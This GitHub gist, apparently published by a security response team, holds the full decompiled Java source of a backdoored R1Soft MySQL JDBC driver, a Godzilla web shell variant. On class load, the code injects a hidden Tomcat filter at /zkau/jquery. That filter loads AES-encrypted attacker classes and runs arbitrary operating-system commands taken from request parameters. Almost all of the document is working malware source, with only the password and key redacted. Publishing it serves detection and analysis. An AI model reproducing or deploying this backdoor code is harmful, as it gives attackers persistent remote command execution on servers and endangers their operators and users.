Skip to content

Instantly share code, notes, and snippets.

@fox-srt
Created February 20, 2023 16:45
Show Gist options
  • Save fox-srt/2627f2f65ef3354b1d1a5c823cc2cd5e to your computer and use it in GitHub Desktop.
Save fox-srt/2627f2f65ef3354b1d1a5c823cc2cd5e to your computer and use it in GitHub Desktop.
Decompilation of malicious R1Soft MySQL driver backdoor (Godzilla Web shell variant)
//
// Decompiled by Procyon v0.6.0
//
package org.gjt.mm.mysql;
import java.sql.DriverPropertyInfo;
import java.sql.Connection;
import java.util.Properties;
import java.util.logging.Logger;
import java.util.Map;
import javax.servlet.http.HttpSession;
import java.util.Scanner;
import java.io.File;
import java.io.ByteArrayOutputStream;
import javax.servlet.FilterChain;
import javax.servlet.ServletResponse;
import javax.servlet.ServletRequest;
import javax.servlet.FilterConfig;
import java.lang.reflect.Constructor;
import javax.servlet.ServletContext;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import javax.servlet.DispatcherType;
import java.util.HashMap;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.connector.Request;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.Key;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.Cipher;
import java.util.List;
import java.lang.reflect.Field;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.Filter;
public class Driver extends ClassLoader implements Filter, java.sql.Driver
{
protected static boolean DEBUG;
public static final String VERSION = "1.0";
public HttpServletRequest request;
public HttpServletResponse response;
public String Pwd;
String xc;
public String path;
String md5;
private static void writeBody(final Object var0, final byte[] var1) throws Exception {
try {
final Class var2 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
final Object var3 = var2.newInstance();
var2.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var3, var1, new Integer(0), new Integer(var1.length));
var0.getClass().getMethod("doWrite", var2).invoke(var0, var3);
}
catch (final NoSuchMethodException var4) {
final Class var2 = Class.forName("java.nio.ByteBuffer");
final Object var3 = var2.getDeclaredMethod("wrap", byte[].class).invoke(var2, var1);
var0.getClass().getMethod("doWrite", var2).invoke(var0, var3);
}
}
private static Object getFV(final Object var0, final String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
}
catch (final NoSuchFieldException var4) {
var3 = var3.getSuperclass();
continue;
}
break;
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
}
var2.setAccessible(true);
return var2.get(var0);
}
private static void _run() {
new Driver("a", "b");
}
public Driver(final String a, final String b) {
this.request = null;
this.response = null;
this.Pwd = "<REDACTED>";
this.xc = "<REDACTED>";
this.path = "/zkau/jquery";
this.md5 = md5(this.Pwd + this.xc);
try {
final Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
final Thread var7 = var5[var6];
if (var7 != null) {
final String var8 = var7.getName();
if (!var8.contains("exec") && var8.contains("http")) {
Object var9 = getFV(var7, "target");
if (var9 instanceof Runnable) {
try {
var9 = getFV(getFV(getFV(var9, "this$0"), "handler"), "global");
}
catch (final Exception var10) {
continue;
}
final List var11 = (List)getFV(var9, "processors");
for (int var12 = 0; var12 < var11.size(); ++var12) {
final Object var13 = var11.get(var12);
var9 = getFV(var13, "req");
final Object var14 = var9.getClass().getMethod("getResponse", (Class<?>[])new Class[0]).invoke(var9, new Object[0]);
this.addFilter(var9, var14);
}
}
}
}
}
}
catch (final Exception ex) {}
}
public Driver(final String s) {
this.request = null;
this.response = null;
this.Pwd = "<REDACTED>";
this.xc = "<REDACTED>";
this.path = "/zkau/jquery";
this.md5 = md5(this.Pwd + this.xc);
}
public Driver(final ClassLoader z) {
super(z);
this.request = null;
this.response = null;
this.Pwd = "<REDACTED>";
this.xc = "<REDACTED>";
this.path = "/zkau/jquery";
this.md5 = md5(this.Pwd + this.xc);
}
public Class Q(final byte[] cb) {
return this.defineClass(cb, 0, cb.length);
}
public byte[] x(final byte[] s, final boolean m) {
try {
final Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch (final Exception e) {
return null;
}
}
public static String md5(final String s) {
String ret = null;
try {
final MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
}
catch (final Exception ex) {}
return ret;
}
public static String base64Encode(final byte[] bs) {
String value = null;
try {
final Class<?> base64 = Class.forName("java.util.Base64");
final Object Encoder = base64.getMethod("getEncoder", (Class<?>[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
}
catch (final Exception e) {
try {
final Class<?> base65 = Class.forName("sun.misc.BASE64Encoder");
final Object Encoder2 = base65.newInstance();
value = (String)Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, bs);
}
catch (final Exception ex) {}
}
return value;
}
public static byte[] base64Decode(final String bs) {
byte[] value = null;
try {
final Class<?> base64 = Class.forName("java.util.Base64");
final Object decoder = base64.getMethod("getDecoder", (Class<?>[])null).invoke(base64, (Object[])null);
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
}
catch (final Exception e) {
try {
final Class<?> base65 = Class.forName("sun.misc.BASE64Decoder");
final Object decoder2 = base65.newInstance();
value = (byte[])decoder2.getClass().getMethod("decodeBuffer", String.class).invoke(decoder2, bs);
}
catch (final Exception ex) {}
}
return value;
}
public void addFilter(final Object var1, final Object var2) {
final String filterName = "fa0sifjasfjai0fja";
final String urlPattern = this.path;
try {
final Request req = (Request)((org.apache.coyote.Request)var1).getNote(1);
final ServletContext servletContext = req.getSession().getServletContext();
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
final ApplicationContext applicationContext = (ApplicationContext)field.get(servletContext);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
final Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & 0xFFFFFFEF);
final StandardContext standardContext = (StandardContext)field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
final HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>)field.get(standardContext);
if (map.containsKey(filterName)) {
return;
}
Class filterDefClass = null;
try {
filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
}
catch (final ClassNotFoundException e) {
filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
}
final Object filterDef = filterDefClass.newInstance();
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName);
final Driver filter = new Driver("sss");
final Class clazz = filter.getClass();
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName());
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, filter);
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef);
Class filterMapClass = null;
try {
filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
}
catch (final ClassNotFoundException e2) {
filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
}
final Object filterMap = filterMapClass.newInstance();
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName);
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name());
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern);
standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap);
final Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
constructor.setAccessible(true);
final ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
map.put(filterName, filterConfig);
writeBody(var2, "[+] Driver Inject Success!\n".getBytes());
}
catch (final Exception ex) {}
}
public void init(final FilterConfig filterConfig) {
}
public void doFilter(final ServletRequest req, final ServletResponse resp, final FilterChain chain) {
try {
final String type = req.getParameter("type");
if (type.equals("g")) {
final HttpServletRequest request = (HttpServletRequest)req;
final HttpServletResponse response = (HttpServletResponse)resp;
final HttpSession session = request.getSession();
byte[] data = base64Decode(req.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("version") == null) {
session.setAttribute("version", (Object)new Driver(this.getClass().getClassLoader()).Q(data));
}
else {
request.setAttribute("parameters", (Object)data);
final ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
final Object f = ((Class)session.getAttribute("version")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
}
else if (type.equals("b")) {
final HttpSession session2 = ((HttpServletRequest)req).getSession();
session2.setAttribute("u", (Object)this.xc);
final Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.xc.getBytes(), "AES"));
final Driver u = new Driver(this.getClass().getClassLoader());
final String base64String = req.getReader().readLine();
final byte[] bytesEncrypted = base64Decode(base64String);
final byte[] bytesDecrypted = c.doFinal(bytesEncrypted);
final Class newClass = u.Q(bytesDecrypted);
final Map<String, Object> pageContext = new HashMap<String, Object>();
pageContext.put("session", session2);
pageContext.put("request", req);
pageContext.put("response", resp);
newClass.newInstance().equals(pageContext);
}
else if (type.equals("c")) {
final String cmd = req.getParameter("user");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (File.separator.equals("/")) {
cmds = new String[] { "/bin/sh", "-c", cmd };
}
else {
cmds = new String[] { "cmd", "/C", cmd };
}
final String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
resp.getWriter().println(result);
}
}
}
catch (final Exception ex) {}
}
public void destroy() {
}
public boolean acceptsURL(final String url) {
if (Driver.DEBUG) {
Logger.getGlobal().info("acceptsURL() called: " + url);
}
return false;
}
public Connection connect(final String url, final Properties info) {
if (Driver.DEBUG) {
Logger.getGlobal().info("connect() called: " + url);
}
return null;
}
public int getMajorVersion() {
if (Driver.DEBUG) {
Logger.getGlobal().info("getMajorVersion() called");
}
return 1;
}
public int getMinorVersion() {
if (Driver.DEBUG) {
Logger.getGlobal().info("getMajorVersion() called");
}
return 0;
}
public Logger getParentLogger() {
if (Driver.DEBUG) {
Logger.getGlobal().info("getParentLogger() called");
}
return null;
}
public DriverPropertyInfo[] getPropertyInfo(final String url, final Properties info) {
if (Driver.DEBUG) {
Logger.getGlobal().info("getPropertyInfo() called: " + url);
}
return new DriverPropertyInfo[0];
}
public boolean jdbcCompliant() {
if (Driver.DEBUG) {
Logger.getGlobal().info("jdbcCompliant() called");
}
return true;
}
static {
Driver.DEBUG = false;
_run();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment